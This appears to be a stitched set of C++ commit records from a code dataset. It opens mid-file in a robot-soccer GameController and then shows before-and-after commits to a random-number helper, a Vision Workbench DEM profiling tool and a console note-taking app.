returnMessage;\n} \/\/ end execute\n\n\nvoid GameController::handleDebugRequest()\n{\n PlayerInfo::RobotState debugState = getPlayerInfo().robotState;\n\n DEBUG_REQUEST(\"gamecontroller:initial\",\n debugState = PlayerInfo::initial;\n );\n DEBUG_REQUEST(\"gamecontroller:ready\",\n debugState = PlayerInfo::ready;\n );\n DEBUG_REQUEST(\"gamecontroller:set\",\n debugState = PlayerInfo::set;\n );\n DEBUG_REQUEST(\"gamecontroller:play\",\n debugState = PlayerInfo::playing;\n );\n DEBUG_REQUEST(\"gamecontroller:penalized\",\n debugState = PlayerInfo::penalized;\n );\n DEBUG_REQUEST(\"gamecontroller:finished\",\n debugState = PlayerInfo::finished;\n );\n\n \/\/ NOTE: same behavior as the button interface\n if(debugState != getPlayerInfo().robotState) {\n getPlayerInfo().robotState = debugState;\n\n \/\/ NOTE: logic is reverted in relation to button interface\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::initial:\n case PlayerInfo::ready:\n case PlayerInfo::set:\n case PlayerInfo::playing:\n case PlayerInfo::finished: \n {\n returnMessage = GameReturnData::manual_unpenalise;\n break;\n }\n case PlayerInfo::penalized:\n {\n returnMessage = GameReturnData::manual_penalise;\n break;\n }\n default:\n ASSERT(false);\n }\n }\n\n} \/\/ end handleDebugRequest\n\n\nvoid GameController::handleButtons()\n{\n if (getButtonState()[ButtonState::Chest] == ButtonEvent::CLICKED)\n {\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::initial:\n case PlayerInfo::ready:\n case PlayerInfo::set:\n case PlayerInfo::playing:\n case PlayerInfo::finished:\n {\n getPlayerInfo().robotState = PlayerInfo::penalized;\n returnMessage = GameReturnData::manual_penalise;\n break;\n }\n case PlayerInfo::penalized:\n {\n getPlayerInfo().robotState = PlayerInfo::playing;\n returnMessage = GameReturnData::manual_unpenalise;\n break;\n }\n default:\n ASSERT(false);\n }\n }\n\n \/\/ re-set team color or kickoff in initial\n if (getPlayerInfo().robotState == PlayerInfo::initial)\n {\n if ( getButtonState()[ButtonState::LeftFoot] == ButtonEvent::PRESSED )\n {\n \/\/ switch team color\n GameData::TeamColor oldColor = getPlayerInfo().teamColor;\n if (oldColor == GameData::blue) {\n getPlayerInfo().teamColor = GameData::red;\n } else if (oldColor == GameData::red) {\n getPlayerInfo().teamColor = GameData::yellow;\n } else if (oldColor == GameData::yellow) {\n getPlayerInfo().teamColor = GameData::black;\n } else if (oldColor == GameData::black) {\n getPlayerInfo().teamColor = GameData::blue;\n } else { \/\/ set to red by default\n getPlayerInfo().teamColor = GameData::red;\n }\n }\n\n if ( getButtonState()[ButtonState::RightFoot] == ButtonEvent::PRESSED )\n {\n \/\/ switch kick off team\n getPlayerInfo().kickoff = !getPlayerInfo().kickoff;\n }\n }\n\n \/\/ go back from penalized to initial both foot bumpers are pressed for more than 1s\n else if (getPlayerInfo().robotState == PlayerInfo::penalized &&\n ( getButtonState()[ButtonState::LeftFoot].isPressed && \n getFrameInfo().getTimeSince(getButtonState()[ButtonState::LeftFoot].timeOfLastEvent) > 1000 )\n &&\n ( getButtonState()[ButtonState::RightFoot].isPressed && \n getFrameInfo().getTimeSince(getButtonState()[ButtonState::RightFoot].timeOfLastEvent) > 1000 )\n )\n {\n getPlayerInfo().robotState = PlayerInfo::initial;\n returnMessage = GameReturnData::manual_unpenalise;\n }\n\n} \/\/ end handleButtons\n\n\nvoid GameController::handleHeadButtons()\n{\n getSoundPlayData().mute = true;\n getSoundPlayData().soundFile = \"\";\n\n\n if( getButtonState().buttons[ButtonState::HeadMiddle] == ButtonEvent::CLICKED\n && getPlayerInfo().robotState == PlayerInfo::initial)\n {\n int playerNumber = getPlayerInfo().playerNumber;\n if(playerNumber <= 9)\n {\n std::stringstream ssWav;\n ssWav << playerNumber;\n ssWav << \".wav\";\n getSoundPlayData().mute = false;\n getSoundPlayData().soundFile = ssWav.str();\n }\n }\n}\n\nvoid GameController::updateLEDs()\n{\n \/\/ reset\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::BLUE] = 0.0;\n\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 0.0;\n\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::BLUE] = 0.0;\n\n for(unsigned int i=LEDData::HeadFrontLeft0; i <= LEDData::HeadRearRight2; i++)\n {\n getGameControllerLEDRequest().request.theMonoLED[i] = 0.0;\n }\n\n \/\/ show game state in torso\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::ready:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::BLUE] = 1.0;\n break;\n case PlayerInfo::set:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 1.0;\n break;\n case PlayerInfo::playing:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 1.0;\n break;\n case PlayerInfo::penalized:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 1.0;\n break;\n default:\n break;\n }\n\n \/\/ show team color on left foot\n if (getPlayerInfo().teamColor == GameData::red)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 0.3;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 0.1;\n }\n else if (getPlayerInfo().teamColor == GameData::blue)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 1.0;\n }\n else if(getPlayerInfo().teamColor == GameData::yellow)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::GREEN] = 1.0;\n }\n else if(getPlayerInfo().teamColor == GameData::black)\n {\n \/\/ LED off\n }\n\n \/\/ show kickoff state on right foot and head in initial, ready and set\n if (getPlayerInfo().robotState == PlayerInfo::initial\n || getPlayerInfo().robotState == PlayerInfo::ready\n || getPlayerInfo().robotState == PlayerInfo::set)\n {\n if (getPlayerInfo().kickoff)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::RED] = 0.7;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::GREEN] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::BLUE] = 1.0;\n\n for(unsigned int i=LEDData::HeadFrontLeft0; i <= LEDData::HeadRearRight2; i++)\n {\n getGameControllerLEDRequest().request.theMonoLED[i] = 1.0;\n }\n }\n }\n} \/\/ end updateLEDs\n\nGameController::~GameController()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ MathUtils.cpp\n\/\/ Bomber\n\/\/\n\/\/ Created by Jeremias Nunez on 3\/20\/14.\n\/\/\n\/\/\n\n#include \"MathUtils.h\"\n#include <random>\n\nint MathUtils::randIntInRange(int min, int max)\n{\n return min + (rand() % (int)(max - min + 1));\n}<commit_msg>changed random int generation algorithm to use better rand function<commit_after>\/\/\n\/\/ MathUtils.cpp\n\/\/ Bomber\n\/\/\n\/\/ Created by Jeremias Nunez on 3\/20\/14.\n\/\/\n\/\/\n\n#include \"MathUtils.h\"\n#include <random>\n\nint MathUtils::randIntInRange(int min, int max)\n{\n return min + (arc4random() % (int)(max - min + 1));\n}<|endoftext|>"} {"text":"<commit_before>\/\/ __BEGIN_LICENSE__\n\/\/ Copyright (C) 2006-2010 United States Government as represented by\n\/\/ the Administrator of the National Aeronautics and Space Administration.\n\/\/ All Rights Reserved.\n\/\/ __END_LICENSE__\n\n\n\/\/\/ \\file dem_profile2.cc\n\/\/\/\n\n\/\/ Standard\n#include <iostream>\n\n\/\/ Vision Workbench\n#include <vw\/Image.h>\n#include <vw\/FileIO.h>\n#include <vw\/Cartography.h>\nusing namespace vw;\n\n\/\/ Boost\n#include <boost\/program_options.hpp>\nnamespace po = boost::program_options;\n\n\/\/ Main\nint main ( int argc, char *argv[] ) {\n\n std::string input_file;\n std::string start_ll, end_ll;\n std::string start_px, end_px;\n double idx_column, idx_row;\n double nodata_value;\n\n po::variables_map vm;\n\n po::options_description general_options(\"Options\");\n general_options.add_options()\n (\"col\", po::value<double>(&idx_column), \"Process only a single column at this index\")\n (\"row\", po::value<double>(&idx_row), \"Process only a single row at this index\")\n (\"nodata-value\", po::value<double>(&nodata_value), \"Set the nodata value that is used in the DEM\")\n \/\/(\"ll-start\", po::value<std::string>(&start_ll), \"Start a profile at this Lon Lat location\")\n \/\/(\"ll-end\", po::value<std::string>(&end_ll), \"End a profile at this Lon Lat location\")\n (\"px-start\", po::value<std::string>(&start_px)->composing(), \"Start a profile at this pixel location\")\n (\"px-end\", po::value<std::string>(&end_px), \"End a profile at this pixel location\")\n (\"help,h\", \"Display this help message\");\n\n po::options_description hidden_options(\"\");\n hidden_options.add_options()\n (\"input-dem\", po::value<std::string>(&input_file));\n\n po::options_description options(\"Allowed Options\");\n options.add(general_options).add(hidden_options);\n\n po::positional_options_description pos;\n pos.add(\"input-dem\", 1);\n\n po::store( po::command_line_parser( argc, argv ).options(options).positional(pos).run(), vm );\n po::notify( vm );\n\n std::ostringstream usage;\n usage << \"Usage: \" << argv[0] << \" <dem-file> [options] \\n\\n\";\n usage << general_options << \"\\n\";\n\n if ( vm.count(\"help\") || !vm.count(\"input-dem\") ) {\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"ll-start\") ^ vm.count(\"ll-end\") ) {\n vw_out() << \"Must specify both ends if creating a Lat Lon Profile!\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"px-start\") ^ vm.count(\"px-end\") ) {\n vw_out() << \"Must specify both ends if creating a Pixel Profile!\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"ll-start\") && ( start_ll.size() != 2 ||\n end_ll.size() != 2 ) ) {\n vw_out() << \"Start and End Lon Lat locations require 2 values, longitude and latitude.\\n\";\n }\n\n \/\/ Finally starting to perform some work\n cartography::GeoReference georef;\n cartography::read_georeference(georef, input_file);\n DiskImageView<float> disk_dem_file( input_file );\n ImageViewRef<PixelMask<float> > dem;\n if ( vm.count(\"nodata-value\") ) {\n vw_out() << \"\\t--> Masking nodata value: \" << nodata_value << \"\\n\";\n dem = interpolate(create_mask( disk_dem_file, nodata_value ),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n } else {\n DiskImageResource *disk_dem_rsrc = DiskImageResource::open(input_file);\n if ( disk_dem_rsrc->has_nodata_value() ) {\n nodata_value = disk_dem_rsrc->nodata_value();\n vw_out() << \"\\t--> Extracted nodata value from file: \" << nodata_value << \"\\n\";\n dem = interpolate(create_mask( disk_dem_file, nodata_value ),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n } else {\n dem = interpolate(pixel_cast<PixelMask<float> >(disk_dem_file),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n }\n }\n\n Vector2 start, end; \/\/ Pixel Locations (everything boils down to it\n \/\/ at the moment :\/. Maybe in the future where\n \/\/ flying cars are possible, when a user\n \/\/ provides LL coordinates .. SLERP is used.\n if ( vm.count(\"col\") ) {\n start = Vector2(idx_column, 0);\n end = Vector2(idx_column, dem.rows()-1);\n } else if ( vm.count(\"row\") ) {\n start = Vector2(0,idx_row);\n end = Vector2(dem.cols()-1,idx_row);\n } else if ( vm.count(\"ll-start\") && vm.count(\"ll-end\") ) {\n \/\/ Parsing string into a ll coordinate.\n if ( start_ll.find(',') == std::string::npos ||\n end_ll.find(',') == std::string::npos ) {\n vw_out() << \"Longitude and Latitude values must be delimited by a comma.\\n\";\n vw_out() << \"\\tEx: --ll-start -109.54,33.483\\n\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n }\n\n size_t s_break = start_px.find(',');\n size_t e_break = end_px.find(',');\n\n Vector2 ll_start, ll_end;\n\n } else if ( vm.count(\"px-start\") && vm.count(\"px-end\") ) {\n \/\/ Parsing string into pixel coordinates.\n if ( start_px.find(',') == std::string::npos ||\n end_px.find(',') == std::string::npos ) {\n vw_out() << \"Column and Row pixel values must be delimited by a comma.\\n\";\n vw_out() << \"\\tEx: --px-start 65,109\\n\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n }\n\n size_t s_break = start_px.find(',');\n size_t e_break = end_px.find(',');\n\n start.x() = atof(start_px.substr(0,s_break).c_str());\n start.y() = atof(start_px.substr(s_break+1, start_px.size()-s_break-1).c_str());\n end.x() = atof(end_px.substr(0,e_break).c_str());\n end.y() = atof(end_px.substr(e_break+1, end_px.size()-e_break-1).c_str());\n } else {\n \/\/ Dial down the middle if the user provides only a DEM.\n start = Vector2( dem.cols()\/2, 0);\n end = Vector2( dem.cols()\/2, dem.rows()-1);\n }\n\n \/\/ Debug\n vw_out() << \"Start: \" << start << \"\\n\";\n vw_out() << \"End: \" << end << \"\\n\";\n\n \/\/ Working out the output file\n BBox2i bound = bounding_box( dem );\n if ( !bound.contains( start ) ||\n !bound.contains( end ) ) {\n vw_out() << \"Given coordinates are not with in the image!\\nExiting early .....\\n\";\n return 1;\n }\n\n std::ofstream output_file( \"profile.csv\" );\n output_file << std::setprecision(12) << \"lon,lat,pix_x,pix_y,altitude,radius\\n\";\n\n Vector2i delta = end - start;\n for ( float r = 0; r < 1.0; r +=1\/norm_2(delta) ) {\n Vector2 c_idx = Vector2(0.5,0.5) + start + r*delta;\n\n if ( !dem(int(c_idx.x()),int(c_idx.y())).valid() )\n continue;\n\n Vector2 lonlat_loc = georef.pixel_to_lonlat( c_idx );\n double altitude = dem( c_idx.x(), c_idx.y() );\n Vector3 xyz_pos = georef.datum().geodetic_to_cartesian( Vector3( lonlat_loc.x(),\n lonlat_loc.y(),\n altitude ));\n double radius = norm_2( xyz_pos );\n\n output_file << lonlat_loc.x() << \",\" << lonlat_loc.y() << \",\" << c_idx.x()\n << \",\" << c_idx.y() << \",\" << altitude << \",\" << radius << \"\\n\";\n }\n output_file.close();\n\n return 0;\n}\n<commit_msg>Missed one correction for nodata<commit_after>\/\/ __BEGIN_LICENSE__\n\/\/ Copyright (C) 2006-2010 United States Government as represented by\n\/\/ the Administrator of the National Aeronautics and Space Administration.\n\/\/ All Rights Reserved.\n\/\/ __END_LICENSE__\n\n\n\/\/\/ \\file dem_profile2.cc\n\/\/\/\n\n\/\/ Standard\n#include <iostream>\n\n\/\/ Vision Workbench\n#include <vw\/Image.h>\n#include <vw\/FileIO.h>\n#include <vw\/Cartography.h>\nusing namespace vw;\n\n\/\/ Boost\n#include <boost\/program_options.hpp>\nnamespace po = boost::program_options;\n\n\/\/ Main\nint main ( int argc, char *argv[] ) {\n\n std::string input_file;\n std::string start_ll, end_ll;\n std::string start_px, end_px;\n double idx_column, idx_row;\n double nodata_value;\n\n po::variables_map vm;\n\n po::options_description general_options(\"Options\");\n general_options.add_options()\n (\"col\", po::value<double>(&idx_column), \"Process only a single column at this index\")\n (\"row\", po::value<double>(&idx_row), \"Process only a single row at this index\")\n (\"nodata-value\", po::value<double>(&nodata_value), \"Set the nodata value that is used in the DEM\")\n \/\/(\"ll-start\", po::value<std::string>(&start_ll), \"Start a profile at this Lon Lat location\")\n \/\/(\"ll-end\", po::value<std::string>(&end_ll), \"End a profile at this Lon Lat location\")\n (\"px-start\", po::value<std::string>(&start_px)->composing(), \"Start a profile at this pixel location\")\n (\"px-end\", po::value<std::string>(&end_px), \"End a profile at this pixel location\")\n (\"help,h\", \"Display this help message\");\n\n po::options_description hidden_options(\"\");\n hidden_options.add_options()\n (\"input-dem\", po::value<std::string>(&input_file));\n\n po::options_description options(\"Allowed Options\");\n options.add(general_options).add(hidden_options);\n\n po::positional_options_description pos;\n pos.add(\"input-dem\", 1);\n\n po::store( po::command_line_parser( argc, argv ).options(options).positional(pos).run(), vm );\n po::notify( vm );\n\n std::ostringstream usage;\n usage << \"Usage: \" << argv[0] << \" <dem-file> [options] \\n\\n\";\n usage << general_options << \"\\n\";\n\n if ( vm.count(\"help\") || !vm.count(\"input-dem\") ) {\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"ll-start\") ^ vm.count(\"ll-end\") ) {\n vw_out() << \"Must specify both ends if creating a Lat Lon Profile!\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"px-start\") ^ vm.count(\"px-end\") ) {\n vw_out() << \"Must specify both ends if creating a Pixel Profile!\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n } else if ( vm.count(\"ll-start\") && ( start_ll.size() != 2 ||\n end_ll.size() != 2 ) ) {\n vw_out() << \"Start and End Lon Lat locations require 2 values, longitude and latitude.\\n\";\n }\n\n \/\/ Finally starting to perform some work\n cartography::GeoReference georef;\n cartography::read_georeference(georef, input_file);\n DiskImageView<float> disk_dem_file( input_file );\n ImageViewRef<PixelMask<float> > dem;\n if ( vm.count(\"nodata-value\") ) {\n vw_out() << \"\\t--> Masking nodata value: \" << nodata_value << \"\\n\";\n dem = interpolate(create_mask( disk_dem_file, nodata_value ),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n } else {\n DiskImageResource *disk_dem_rsrc = DiskImageResource::open(input_file);\n if ( disk_dem_rsrc->has_nodata_read() ) {\n nodata_value = disk_dem_rsrc->nodata_read();\n vw_out() << \"\\t--> Extracted nodata value from file: \" << nodata_value << \"\\n\";\n dem = interpolate(create_mask( disk_dem_file, nodata_value ),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n } else {\n dem = interpolate(pixel_cast<PixelMask<float> >(disk_dem_file),\n BicubicInterpolation(),\n ZeroEdgeExtension());\n }\n }\n\n Vector2 start, end; \/\/ Pixel Locations (everything boils down to it\n \/\/ at the moment :\/. Maybe in the future where\n \/\/ flying cars are possible, when a user\n \/\/ provides LL coordinates .. SLERP is used.\n if ( vm.count(\"col\") ) {\n start = Vector2(idx_column, 0);\n end = Vector2(idx_column, dem.rows()-1);\n } else if ( vm.count(\"row\") ) {\n start = Vector2(0,idx_row);\n end = Vector2(dem.cols()-1,idx_row);\n } else if ( vm.count(\"ll-start\") && vm.count(\"ll-end\") ) {\n \/\/ Parsing string into a ll coordinate.\n if ( start_ll.find(',') == std::string::npos ||\n end_ll.find(',') == std::string::npos ) {\n vw_out() << \"Longitude and Latitude values must be delimited by a comma.\\n\";\n vw_out() << \"\\tEx: --ll-start -109.54,33.483\\n\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n }\n\n size_t s_break = start_px.find(',');\n size_t e_break = end_px.find(',');\n\n Vector2 ll_start, ll_end;\n\n } else if ( vm.count(\"px-start\") && vm.count(\"px-end\") ) {\n \/\/ Parsing string into pixel coordinates.\n if ( start_px.find(',') == std::string::npos ||\n end_px.find(',') == std::string::npos ) {\n vw_out() << \"Column and Row pixel values must be delimited by a comma.\\n\";\n vw_out() << \"\\tEx: --px-start 65,109\\n\\n\";\n vw_out() << usage.str() << \"\\n\";\n return 1;\n }\n\n size_t s_break = start_px.find(',');\n size_t e_break = end_px.find(',');\n\n start.x() = atof(start_px.substr(0,s_break).c_str());\n start.y() = atof(start_px.substr(s_break+1, start_px.size()-s_break-1).c_str());\n end.x() = atof(end_px.substr(0,e_break).c_str());\n end.y() = atof(end_px.substr(e_break+1, end_px.size()-e_break-1).c_str());\n } else {\n \/\/ Dial down the middle if the user provides only a DEM.\n start = Vector2( dem.cols()\/2, 0);\n end = Vector2( dem.cols()\/2, dem.rows()-1);\n }\n\n \/\/ Debug\n vw_out() << \"Start: \" << start << \"\\n\";\n vw_out() << \"End: \" << end << \"\\n\";\n\n \/\/ Working out the output file\n BBox2i bound = bounding_box( dem );\n if ( !bound.contains( start ) ||\n !bound.contains( end ) ) {\n vw_out() << \"Given coordinates are not with in the image!\\nExiting early .....\\n\";\n return 1;\n }\n\n std::ofstream output_file( \"profile.csv\" );\n output_file << std::setprecision(12) << \"lon,lat,pix_x,pix_y,altitude,radius\\n\";\n\n Vector2i delta = end - start;\n for ( float r = 0; r < 1.0; r +=1\/norm_2(delta) ) {\n Vector2 c_idx = Vector2(0.5,0.5) + start + r*delta;\n\n if ( !dem(int(c_idx.x()),int(c_idx.y())).valid() )\n continue;\n\n Vector2 lonlat_loc = georef.pixel_to_lonlat( c_idx );\n double altitude = dem( c_idx.x(), c_idx.y() );\n Vector3 xyz_pos = georef.datum().geodetic_to_cartesian( Vector3( lonlat_loc.x(),\n lonlat_loc.y(),\n altitude ));\n double radius = norm_2( xyz_pos );\n\n output_file << lonlat_loc.x() << \",\" << lonlat_loc.y() << \",\" << c_idx.x()\n << \",\" << c_idx.y() << \",\" << altitude << \",\" << radius << \"\\n\";\n }\n output_file.close();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include <ctime>\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include \"console.h\"\n#include \"note.h\"\n#include \"text.h\"\n\nnamespace note {\n\n\tvoid Note::pretty_print() const\n\t{\n\t\tstd::string dc = format_time(&m_date_created);\n\t\tstd::string dm = format_time(&m_date_modified);\n\t\tstd::string sub_str;\n\t\tif (m_text.size() > MAINCOLSIZE)\n\t\t\tsub_str = m_text.substr(0, MAINCOLSIZE - 5) + \"...\";\n\t\telse\n\t\t\tsub_str = m_text;\n\t\t\n\t\tstd::cout << std::left\n\t\t\t<< std::setw(5) << m_tmpId\n\t\t\t<< std::setw(MAINCOLSIZE) << sub_str\n\t\t\t<< std::setw(DATECOLSIZE) << \"[\" + dm + \"]\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"[\" + dc + \"]\"\n\t\t\t<< std::endl\n\t\t\t<< std::endl;\n\t}\n\n\t\/\/ prints a header for collection \/ collection list\n\tvoid print_header()\n\t{\n\t\t\/\/ consider changiing (and resetting) console color? maybe wrap each part in function...\n\t\tCONSOLE_SCREEN_BUFFER_INFO csbi;\n\t\tchange_console_color(11, &csbi);\n\t\tstd::cout << std::left\n\t\t\t<< std::setw(5) << \"#\"\n\t\t\t<< std::setw(MAINCOLSIZE) << \"Note\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"Last Modified\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"Date Created\"\n\t\t\t<< std::endl\n\t\t\t<< std::setw(5) << \"---\"\n\t\t\t<< std::setw(MAINCOLSIZE) << \"---\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"---\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"---\"\n\t\t\t<< std::endl;\n\t\treset_console_color(csbi);\n\t}\n\n\t\/**\n\t * Serialize the note.\n\t *\/\n\tstd::ostream& operator<< (std::ostream &out, const Note &n) {\n\t\tout << n.m_date_created\n\t\t\t<< ','\n\t\t\t<< n.m_date_modified\n\t\t\t<< ','\n\t\t\t<< n.m_text.size()\n\t\t\t<< ','\n\t\t\t<< n.m_text\n\t\t\t<< std::endl;\n\t\treturn out;\n\t}\n\n\t\/**\n\t * Deserialize the note.\n\t *\/\n\tstd::istream& operator>> (std::istream &in, Note &n) {\n\t\t\/\/ TODO: we are losing a character when we read it in!!!\n\t\tint len = 0;\n\t\tchar comma;\n\t\tin >> n.m_date_created\n\t\t\t>> comma\n\t\t\t>> n.m_date_modified\n\t\t\t>> comma\n\t\t\t>> len\n\t\t\t>> comma;\n\t\tif (in && len) {\n\t\t\tstd::vector<char> tmp_txt(len);\n\t\t\t\/\/ get seems to work better than read for non-binary...\n\t\t\tin.get(&tmp_txt[0], len);\n\t\t\tn.m_text = std::string(&tmp_txt[0]);\n\t\t}\n\t\treturn in;\n\t}\n\n\t\/**\n\t* Got a little funky here. Wanted to make use of the overloaded i\/o operators,\n\t* but also wanted to inherit base recordable's save methods.\n\t* So base uses serialize\/deserialize member methods (pure virtuals), and\n\t* derived forms can call them and simply use the friend ops within.\n\t*\/\n\tstd::ostream& Note::serialize(std::ostream &out) const {\n\t\tout << *this;\n\t\treturn out;\n\t}\n\tstd::istream& Note::deserialize(std::istream &in) {\n\t\tin >> *this;\n\t\treturn in;\n\t}\n\n\t\/**\n\t * Adds a note to a collection's note file.\n\t * Returns false if unable to save.\n\t * Command should handle validation of the collection, as\n\t * well as any updates to date modified field for the collection.\n\t *\/\n\tbool add_note(std::string text, std::string path) {\n\t\tbool inserted = false;\n\t\tNote n(text);\n\t\tif (n.save(path))\n\t\t\tinserted = true;\n\t\treturn inserted;\n\t}\n\n\t\/**\n\t * Gets all notes in a collection.\n\t *\/\n\tstd::vector<Note> get_all_notes(std::string path) {\n\t\tstd::vector<Note> notes;\n\t\tstd::ifstream inf(path);\n\t\tif (!inf)\n\t\t\tstd::cerr << \"Oh no!!! Notesy can't find or open this collection!!! :(\" << std::endl << std::endl;\n\t\telse {\n\t\t\tNote n;\n\t\t\tint ct = 0;\n\t\t\twhile (inf >> n) {\n\t\t\t\tn.set_tmpId(++ct);\n\t\t\t\tnotes.push_back(n);\n\t\t\t\tinf.ignore(1, '\\n');\n\t\t\t}\n\t\t\tinf.close();\n\t\t}\n\t\treturn notes;\n\t}\n\n\n\t\/**\n\t* Lists all notes.\n\t*\/\n\tvoid list_all_notes(std::vector<Note> ¬es)\n\t{\n\t\tprint_header();\n\t\t\/\/ use the const ref so we don't copy\n\t\tfor (const auto &iter : notes) {\n\t\t\titer.pretty_print();\n\t\t}\n\t}\n\n\t\/**\n\t* Lists all notes.\n\t*\/\n\tvoid list_all_notes(std::string path)\n\t{\n\t\tauto notes = get_all_notes(path);\n\t\tlist_all_notes(notes);\n\t}\n}\n<commit_msg>adjust note read for missing last char<commit_after>#include \"stdafx.h\"\n#include <ctime>\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include \"console.h\"\n#include \"note.h\"\n#include \"text.h\"\n\nnamespace note {\n\n\tvoid Note::pretty_print() const\n\t{\n\t\tstd::string dc = format_time(&m_date_created);\n\t\tstd::string dm = format_time(&m_date_modified);\n\t\tstd::string sub_str;\n\t\tif (m_text.size() > MAINCOLSIZE)\n\t\t\tsub_str = m_text.substr(0, MAINCOLSIZE - 5) + \"...\";\n\t\telse\n\t\t\tsub_str = m_text;\n\t\t\n\t\tstd::cout << std::left\n\t\t\t<< std::setw(5) << m_tmpId\n\t\t\t<< std::setw(MAINCOLSIZE) << sub_str\n\t\t\t<< std::setw(DATECOLSIZE) << \"[\" + dm + \"]\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"[\" + dc + \"]\"\n\t\t\t<< std::endl\n\t\t\t<< std::endl;\n\t}\n\n\t\/\/ prints a header for collection \/ collection list\n\tvoid print_header()\n\t{\n\t\t\/\/ consider changiing (and resetting) console color? maybe wrap each part in function...\n\t\tCONSOLE_SCREEN_BUFFER_INFO csbi;\n\t\tchange_console_color(11, &csbi);\n\t\tstd::cout << std::left\n\t\t\t<< std::setw(5) << \"#\"\n\t\t\t<< std::setw(MAINCOLSIZE) << \"Note\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"Last Modified\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"Date Created\"\n\t\t\t<< std::endl\n\t\t\t<< std::setw(5) << \"---\"\n\t\t\t<< std::setw(MAINCOLSIZE) << \"---\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"---\"\n\t\t\t<< std::setw(DATECOLSIZE) << \"---\"\n\t\t\t<< std::endl;\n\t\treset_console_color(csbi);\n\t}\n\n\t\/**\n\t * Serialize the note.\n\t *\/\n\tstd::ostream& operator<< (std::ostream &out, const Note &n) {\n\t\tout << n.m_date_created\n\t\t\t<< ','\n\t\t\t<< n.m_date_modified\n\t\t\t<< ','\n\t\t\t<< n.m_text.size()\n\t\t\t<< ','\n\t\t\t<< n.m_text\n\t\t\t<< std::endl;\n\t\treturn out;\n\t}\n\n\t\/**\n\t * Deserialize the note.\n\t *\/\n\tstd::istream& operator>> (std::istream &in, Note &n) {\n\t\tint len = 0;\n\t\tchar comma;\n\t\tin >> n.m_date_created\n\t\t\t>> comma\n\t\t\t>> n.m_date_modified\n\t\t\t>> comma\n\t\t\t>> len\n\t\t\t>> comma;\n\t\tif (in && len) {\n\t\t\tstd::vector<char> tmp_txt(len);\n\t\t\t\/\/ leave room for the null terminator, or buffer will be too small\n\t\t\tchar *buf = new char[len + 1];\n\t\t\tin.get(buf, len + 1);\n\t\t\tn.m_text = std::string(buf);\n\t\t\tdelete buf;\n\t\t}\n\t\treturn in;\n\t}\n\n\t\/**\n\t* Got a little funky here. Wanted to make use of the overloaded i\/o operators,\n\t* but also wanted to inherit base recordable's save methods.\n\t* So base uses serialize\/deserialize member methods (pure virtuals), and\n\t* derived forms can call them and simply use the friend ops within.\n\t*\/\n\tstd::ostream& Note::serialize(std::ostream &out) const {\n\t\tout << *this;\n\t\treturn out;\n\t}\n\tstd::istream& Note::deserialize(std::istream &in) {\n\t\tin >> *this;\n\t\treturn in;\n\t}\n\n\t\/**\n\t * Adds a note to a collection's note file.\n\t * Returns false if unable to 